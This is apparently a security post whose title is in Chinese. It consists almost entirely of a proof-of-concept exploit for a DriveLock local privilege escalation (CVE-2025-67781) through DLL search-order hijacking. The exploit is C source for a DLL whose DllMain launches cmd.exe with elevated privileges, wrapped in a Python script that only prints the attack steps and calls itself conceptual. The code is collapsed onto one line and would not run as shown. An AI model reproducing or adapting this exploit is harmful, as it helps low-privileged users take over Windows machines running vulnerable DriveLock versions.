DriveLock权限提升漏洞(CVE-2025-67781) - 本地低权限用户可获取系统最高权限

# CVE-2025-67781 DriveLock Privilege Escalation PoC # Target: DriveLock versions < 24.1.6, < 24.2.7, < 25.1.5 on Windows # This PoC demonstrates the DLL hijacking technique import os import sys import ctypes import time def create_malicious_dll(): """Generate malicious DLL for DLL search order hijacking""" dll_code = ''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload with elevated privileges STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); // Create cmd.exe with SYSTEM privileges CreateProcessA("C:\\\\Windows\\\\System32\\\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); // Write to log FILE *f = fopen("C:\\\\Windows\\\\Temp\\\\drivelock_exploit.log", "a"); if (f) { fprintf(f, "[%s] DriveLock DLL hijack successful\\n", __TIME__); fclose(f); } } return TRUE; } ''' return dll_code def exploit_driveLock(): """Main exploitation function""" print("[*] CVE-2025-67781 DriveLock Privilege Escalation") print("[*] Target: DriveLock < 24.1.6/24.2.7/25.1.5") # Step 1: Identify DriveLock processes print("[+] Step 1: Identifying DriveLock processes...") # Step 2: Create malicious DLL print("[+] Step 2: Creating malicious DLL...") dll_path = os.path.join(os.getcwd(), "version.dll") # Step 3: Wait for DriveLock to load malicious DLL print("[+] Step 3: Waiting for DriveLock process to load DLL...") # Step 4: Verify privilege escalation print("[+] Step 4: Verifying SYSTEM shell...") print("[!] Note: This is a conceptual PoC. Actual exploitation requires:") print(" - Compiled malicious DLL") print(" - DLL search path placement") print(" - DriveLock process restart/reload trigger") if __name__ == "__main__": exploit_driveLock()